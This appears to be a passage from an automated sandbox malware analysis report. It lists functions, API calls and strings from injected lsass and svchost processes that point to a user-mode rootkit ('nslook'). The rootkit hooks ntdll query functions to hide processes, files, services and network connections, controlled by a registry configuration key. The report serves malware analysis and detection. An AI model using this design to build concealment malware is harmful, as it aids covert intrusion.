Instruction Fuzzy Hash: 2341A272728A8086EB209F25E48C7A977A0F798798F844129EF4D9B794EF3CC581C744

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000240B2BBC849
LCMapStringW.KERNEL32 ref: 00000240B2BBC8D1

Strings

LCMapStringEx, xrefs: 00000240B2BBC82C, 00000240B2BBC83D

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction ID: 85bff6256d5d9061ee53d656d960a2c1dd0e8d0dc48dc5d5e63e1345f9992c5a
Opcode Fuzzy Hash: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction Fuzzy Hash: 59110B36608B8086D764CB16B488A9AB7A4F7CDB84F54412AEFCD87B19CF38C5908B04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB9CE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000240B2BB9D28
RaiseException.KERNEL32 ref: 00000240B2BB9D6E

Strings

csm, xrefs: 00000240B2BB9D5B

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction ID: f23cd95b5add426011c6e79e018df6fa1a78ea792ee21c11a5a7243f4b7c53d9
Opcode Fuzzy Hash: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction Fuzzy Hash: 84111C32214B8482EB258F15F488759B7E5F788B98F184225DF8D0BB68DF38C591CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBC7AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000240B2BBC7DD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000240B2BBC7F7

Strings

InitializeCriticalSectionEx, xrefs: 00000240B2BBC7D1

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction ID: 04efea30d927d977bfa8f5a6e1965247cd50753e7860c3599af33ddb181aa571
Opcode Fuzzy Hash: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction Fuzzy Hash: AEF05E2521079082EB089B42B4CDE996760E78CB88F48512D9B591BB59CF38C9C5C708

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBC758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000240B2BBC781
TlsSetValue.KERNEL32 ref: 00000240B2BBC798

Strings

FlsSetValue, xrefs: 00000240B2BBC76E

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction ID: 09e169d2370290b205d7a4e36ce3d48f6cf38eab89077aa25944284a77839d9f
Opcode Fuzzy Hash: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction Fuzzy Hash: A1E06D75210640A2EA188B51F88DF992622E78C788F88512E9B4A0E659CE38C9C8C318

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 724, Parent PID: 2324COMMON

Executed Functions

Function 000001CAF3D03F20 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CAF3D03F58
PathFindFileNameW.SHLWAPI ref: 000001CAF3D03F6B
GetModuleHandleW.KERNEL32 ref: 000001CAF3D03F95
GetCurrentProcess.KERNEL32 ref: 000001CAF3D03FC7
VirtualProtectEx.KERNEL32 ref: 000001CAF3D03FE9
GetCurrentProcess.KERNEL32 ref: 000001CAF3D04007
VirtualProtectEx.KERNEL32 ref: 000001CAF3D04028
CreateThread.KERNEL32 ref: 000001CAF3D04068

Part of subcall function 000001CAF3D0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D0A62D

Strings

nslook, xrefs: 000001CAF3D03F7C

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: CurrentFileModuleNameProcessProtectVirtual$CreateFindHandlePathThread_invalid_parameter_noinfo
String ID: nslook
API String ID: 2570614652-925916808
Opcode ID: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction ID: d1ae013908fa92126ee6757031797c06279e3bb48e1c14735a4ba13b57a348ea
Opcode Fuzzy Hash: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction Fuzzy Hash: 854181B968674886FB669B21F504FDE23B1FF44F48F84482DD94946798EF3DC0148762

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D01ED0 Relevance: 3.0, APIs: 2, Instructions: 18
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000001CAF3D01EE7
SleepEx.KERNEL32 ref: 000001CAF3D01EED

Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D015DA
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01605
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D0161F
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01642
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D0165D
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01680
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D0169B
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D016BE
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D016D9
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D016FC
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D01717
Part of subcall function 000001CAF3D01400: RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D0173A
Part of subcall function 000001CAF3D01400: RegCloseKey.ADVAPI32 ref: 000001CAF3D01755

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Open$Close$Sleep
String ID:
API String ID: 3308825301-0
Opcode ID: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction ID: 029a89921294d6a0baba529d7f28597fcd358f65efd342ffbf0f0ecc0d19d220
Opcode Fuzzy Hash: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction Fuzzy Hash: 64E0E5BC28360940FB836766AC41BDC12AC6F08FCCF94482CB949477AAED38C0541223

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3CD35D0 Relevance: 1.7, APIs: 1, Instructions: 216
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001CAF3CD3745

Memory Dump Source

Source File: 0000002F.00000002.507754448.000001CAF3CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3cd0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction ID: 29caa52aff5cca98e2d0c68ca2156f1eff511beb25dd2c9af1f815c6e71ec185
Opcode Fuzzy Hash: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction Fuzzy Hash: 0981267378269887EB568F11D860BADB7A5FF44F88F858129EE1947384DB38D826C701

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001CAF3D01400 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 240
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CAF3D0840C: Concurrency::cancel_current_task.LIBCPMT ref: 000001CAF3D0843C

RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D015DA
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01605
RegCloseKey.ADVAPI32 ref: 000001CAF3D0161F
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01642
RegCloseKey.ADVAPI32 ref: 000001CAF3D0165D
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01680
RegCloseKey.ADVAPI32 ref: 000001CAF3D0169B
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D016BE
RegCloseKey.ADVAPI32 ref: 000001CAF3D016D9
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D016FC
RegCloseKey.ADVAPI32 ref: 000001CAF3D01717
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D0173A
RegCloseKey.ADVAPI32 ref: 000001CAF3D01755
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D01778
RegCloseKey.ADVAPI32 ref: 000001CAF3D01793
RegOpenKeyExW.ADVAPI32 ref: 000001CAF3D017B6
RegCloseKey.ADVAPI32 ref: 000001CAF3D017D1
RegCloseKey.ADVAPI32 ref: 000001CAF3D017DB

Part of subcall function 000001CAF3D011C0: RegQueryInfoKeyW.ADVAPI32 ref: 000001CAF3D01220
Part of subcall function 000001CAF3D011C0: RegEnumValueW.ADVAPI32 ref: 000001CAF3D012AD
Part of subcall function 000001CAF3D011C0: lstrcmpiW.KERNEL32 ref: 000001CAF3D012F6
Part of subcall function 000001CAF3D011C0: lstrlenW.KERNEL32 ref: 000001CAF3D01363

Strings

paths, xrefs: 000001CAF3D016B7
process_names, xrefs: 000001CAF3D01679
startup, xrefs: 000001CAF3D015FE
udp, xrefs: 000001CAF3D017AF
SOFTWARE\nslookconfig, xrefs: 000001CAF3D015B6
service_names, xrefs: 000001CAF3D016F5
tcp_remote, xrefs: 000001CAF3D01771
tcp_local, xrefs: 000001CAF3D01733
pid, xrefs: 000001CAF3D0163B

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: CloseOpen$Concurrency::cancel_current_taskEnumInfoQueryValuelstrcmpilstrlen
String ID: SOFTWARE\nslookconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2205723969-4286660177
Opcode ID: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction ID: c58bb8066a65f151a000036656a05f9de6509b2fed80242e85951157a823c432
Opcode Fuzzy Hash: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction Fuzzy Hash: 1DC16ABA652B188AF711DF62E840B9D37B4FB84F88F808819DB4947B59DF78C064C761

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0BEC8 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001CAF3D0BF41
RtlLookupFunctionEntry.KERNEL32 ref: 000001CAF3D0BF59
RtlVirtualUnwind.KERNEL32 ref: 000001CAF3D0BF94
IsDebuggerPresent.KERNEL32 ref: 000001CAF3D0BFCD
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CAF3D0BFD7
UnhandledExceptionFilter.KERNEL32 ref: 000001CAF3D0BFE2

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction ID: 909c98b11edddad62a52aaf304efb61316b3e130d79653da166d3d3d242230ab
Opcode Fuzzy Hash: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction Fuzzy Hash: 91318E7A255B848AEB619F25E8407DE37B0FB88B58F800519EA8D43BA8DF38C155CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D11000 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000001CAF3D1106F
WriteFile.KERNEL32 ref: 000001CAF3D11319
WriteFile.KERNEL32 ref: 000001CAF3D1136B
GetLastError.KERNEL32 ref: 000001CAF3D114AD
GetLastError.KERNEL32 ref: 000001CAF3D114BF

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction ID: fc12a3036a8561d052783c74c59ec7b0c05d9a3eadb3f13c4dd6905848196655
Opcode Fuzzy Hash: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction Fuzzy Hash: A9D1227A745B848AF702DB64D4406DDBBB5FB44B8CF94461ACF8E47B89DA34C01AC311

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D01F20 Relevance: 57.9, APIs: 21, Strings: 12, Instructions: 167
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001CAF3D01F42
GetModuleHandleA.KERNEL32 ref: 000001CAF3D01F57
GetProcAddress.KERNEL32 ref: 000001CAF3D01F6E
GetModuleHandleA.KERNEL32 ref: 000001CAF3D01FA3
GetProcAddress.KERNEL32 ref: 000001CAF3D01FB8
GetModuleHandleA.KERNEL32 ref: 000001CAF3D01FED
GetProcAddress.KERNEL32 ref: 000001CAF3D02002
GetModuleHandleA.KERNEL32 ref: 000001CAF3D02037
GetProcAddress.KERNEL32 ref: 000001CAF3D0204C
GetModuleHandleA.KERNEL32 ref: 000001CAF3D02081
GetProcAddress.KERNEL32 ref: 000001CAF3D02096
GetModuleHandleA.KERNEL32 ref: 000001CAF3D020CB
GetProcAddress.KERNEL32 ref: 000001CAF3D020E0
GetModuleHandleA.KERNEL32 ref: 000001CAF3D02115
GetProcAddress.KERNEL32 ref: 000001CAF3D0212A
GetModuleHandleA.KERNEL32 ref: 000001CAF3D0215F
GetProcAddress.KERNEL32 ref: 000001CAF3D02174
GetModuleHandleA.KERNEL32 ref: 000001CAF3D021A9
GetProcAddress.KERNEL32 ref: 000001CAF3D021BE
GetModuleHandleA.KERNEL32 ref: 000001CAF3D021F3
GetProcAddress.KERNEL32 ref: 000001CAF3D02208

Strings

NtDeviceIoControlFile, xrefs: 000001CAF3D021FE
ntdll.dll, xrefs: 000001CAF3D01F50, 000001CAF3D01F9C, 000001CAF3D01FE6, 000001CAF3D02030, 000001CAF3D0207A, 000001CAF3D020C4, 000001CAF3D021EC
NtEnumerateValueKey, xrefs: 000001CAF3D020D6
NtEnumerateKey, xrefs: 000001CAF3D0208C
NtResumeThread, xrefs: 000001CAF3D01FAE
NtQuerySystemInformation, xrefs: 000001CAF3D01F64
NtQueryDirectoryFile, xrefs: 000001CAF3D01FF8
advapi32.dll, xrefs: 000001CAF3D0210E, 000001CAF3D02158
NtQueryDirectoryFileEx, xrefs: 000001CAF3D02042
EnumServiceGroupW, xrefs: 000001CAF3D02120
sechost.dll, xrefs: 000001CAF3D021A2
EnumServicesStatusExW, xrefs: 000001CAF3D0216A, 000001CAF3D021B4

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc$CurrentThread
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4239977575-1975688563
Opcode ID: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction ID: 3e5b2724fe78ddbb8df1db7f85234bb34c61e460faa4a1eafde48577e3918a5d
Opcode Fuzzy Hash: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction Fuzzy Hash: 819190BC287B0D96FB57EB15E854BDC26A5BF48F48FC4581D9909022A9EF38C158D233

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D029E0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 379
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001CAF3D02B1C
GetFinalPathNameByHandleW.KERNEL32 ref: 000001CAF3D02B43
lstrlenW.KERNEL32 ref: 000001CAF3D02B71
lstrcpyW.KERNEL32 ref: 000001CAF3D02B8C
lstrcmpiW.KERNEL32 ref: 000001CAF3D02BF9
lstrcpyW.KERNEL32 ref: 000001CAF3D02C0E
lstrcatW.KERNEL32 ref: 000001CAF3D02C1B
PathCombineW.SHLWAPI ref: 000001CAF3D02C2A
lstrcmpiW.KERNEL32 ref: 000001CAF3D02C73
lstrcmpW.KERNEL32 ref: 000001CAF3D02C7B
lstrcmpiW.KERNEL32 ref: 000001CAF3D02D5B
lstrcpyW.KERNEL32 ref: 000001CAF3D02D70
lstrcatW.KERNEL32 ref: 000001CAF3D02D7D
PathCombineW.SHLWAPI ref: 000001CAF3D02D8C
lstrcmpW.KERNEL32 ref: 000001CAF3D02DDB
lstrcmpiW.KERNEL32 ref: 000001CAF3D02DD3

Part of subcall function 000001CAF3D0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D0A62D

Strings

\\.\pipe\, xrefs: 000001CAF3D02B27, 000001CAF3D02BE8, 000001CAF3D02D4A, 000001CAF3D02E84
\\?\, xrefs: 000001CAF3D02B53
nslook, xrefs: 000001CAF3D02BBF, 000001CAF3D02D1E, 000001CAF3D02E5C

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: lstrcmpi$Pathlstrcpy$Combinelstrcatlstrcmp$FileFinalHandleNameType_invalid_parameter_noinfolstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 4069998685-1812639415
Opcode ID: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction ID: f486ba0f5170a905cfabce8dbb18d4a7a91b6936a1fc17c24b3a63fa7d9a12e5
Opcode Fuzzy Hash: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction Fuzzy Hash: 5CF1B4BA2426898AFB129F22D840BDD7BB1FF48F88F844819DE4947B58DF38C545C721

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D033C0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 370
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001CAF3D03467
GetProcAddress.KERNEL32 ref: 000001CAF3D0347C
OpenProcess.KERNEL32 ref: 000001CAF3D0354C
K32GetModuleFileNameExW.KERNEL32 ref: 000001CAF3D0356D
PathFindFileNameW.SHLWAPI ref: 000001CAF3D0357F
lstrlenW.KERNEL32 ref: 000001CAF3D0358B
lstrcpyW.KERNEL32 ref: 000001CAF3D035A3
CloseHandle.KERNEL32 ref: 000001CAF3D035AC
lstrcmpiW.KERNEL32 ref: 000001CAF3D036A8
lstrcmpW.KERNEL32 ref: 000001CAF3D036B0
OpenProcess.KERNEL32 ref: 000001CAF3D036EF
K32GetModuleFileNameExW.KERNEL32 ref: 000001CAF3D03710
PathFindFileNameW.SHLWAPI ref: 000001CAF3D03722
lstrlenW.KERNEL32 ref: 000001CAF3D0372E
lstrcpyW.KERNEL32 ref: 000001CAF3D03746
CloseHandle.KERNEL32 ref: 000001CAF3D0374F
lstrcmpiW.KERNEL32 ref: 000001CAF3D03818
lstrcmpW.KERNEL32 ref: 000001CAF3D03820

Strings

\Device\Nsi, xrefs: 000001CAF3D034AC
ntdll.dll, xrefs: 000001CAF3D03460
NtQueryObject, xrefs: 000001CAF3D03472
nslook, xrefs: 000001CAF3D0383D

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: FileName$HandleModule$CloseFindOpenPathProcesslstrcmplstrcmpilstrcpylstrlen$AddressProc
String ID: NtQueryObject$\Device\Nsi$nslook$ntdll.dll
API String ID: 3769777229-563693742
Opcode ID: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction ID: 90659d94651a21918a60a458a439fcc906a3afe906c8bb55b984c90a793c4440
Opcode Fuzzy Hash: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction Fuzzy Hash: 90F1AFBA74668886FB669F15E444BED73A0FB84F88FC4482ADE4947788DF38C444C761

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D02630 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 195
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001CAF3D02741
GetFinalPathNameByHandleW.KERNEL32 ref: 000001CAF3D02769
lstrlenW.KERNEL32 ref: 000001CAF3D02799
lstrcpyW.KERNEL32 ref: 000001CAF3D027B3

Strings

\\.\pipe\, xrefs: 000001CAF3D0274C, 000001CAF3D02837
\\?\, xrefs: 000001CAF3D02779
nslook, xrefs: 000001CAF3D0280D

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: FileFinalHandleNamePathTypelstrcpylstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 2439355722-1812639415
Opcode ID: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction ID: 479ca83c3c4f18c3770593c6920d49440b15901b1ee9f34259a298d13cf3f49d
Opcode Fuzzy Hash: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction Fuzzy Hash: 729175BA2477C886F7629F11E444BDE77A0FB84F88F844419DB8943A99DF38C545CB22

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D024F0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 76
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CAF3D02512
GetCurrentProcessId.KERNEL32 ref: 000001CAF3D0251A
OpenProcess.KERNEL32 ref: 000001CAF3D0253E
IsWow64Process.KERNEL32 ref: 000001CAF3D02558
CloseHandle.KERNEL32 ref: 000001CAF3D02576
CreateFileW.KERNEL32 ref: 000001CAF3D025AD
WriteFile.KERNEL32 ref: 000001CAF3D025D2
ReadFile.KERNEL32 ref: 000001CAF3D025EE
CloseHandle.KERNEL32 ref: 000001CAF3D025F7

Strings

\\.\pipe\nslookchildproc64, xrefs: 000001CAF3D0257C
\\.\pipe\nslookchildproc32, xrefs: 000001CAF3D0258F

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\nslookchildproc32$\\.\pipe\nslookchildproc64
API String ID: 2171963597-3427204187
Opcode ID: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction ID: 2b2f948b5871da9d2a393709b6c432f82d9445a3f466e18cf4c53bb3dba90b5b
Opcode Fuzzy Hash: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction Fuzzy Hash: D631813A24664486FB219B16F454A9E77B0FB88F98F8405299E4D03B58DF3CC559CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3CD7AEC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CAF3CD7B14
__scrt_acquire_startup_lock.LIBCMT ref: 000001CAF3CD7B66
_RTC_Initialize.LIBCMT ref: 000001CAF3CD7B94
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CAF3CD7BBA
__scrt_release_startup_lock.LIBCMT ref: 000001CAF3CD7BE5
__scrt_fastfail.LIBCMT ref: 000001CAF3CD7C4B

Memory Dump Source

Source File: 0000002F.00000002.507754448.000001CAF3CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3cd0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction ID: ae32040b7b3a98bf7304c5855ef13517f9ba615d1bc882961316630ad0570e95
Opcode Fuzzy Hash: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction Fuzzy Hash: 7F81B2316C668D86F753AF669471BEDA2D0AF85F8CFC4401DF92443796DA38C46F8602

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D086EC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CAF3D08714
__scrt_acquire_startup_lock.LIBCMT ref: 000001CAF3D08766
_RTC_Initialize.LIBCMT ref: 000001CAF3D08794
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CAF3D087BA
__scrt_release_startup_lock.LIBCMT ref: 000001CAF3D087E5
__scrt_fastfail.LIBCMT ref: 000001CAF3D0884B

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

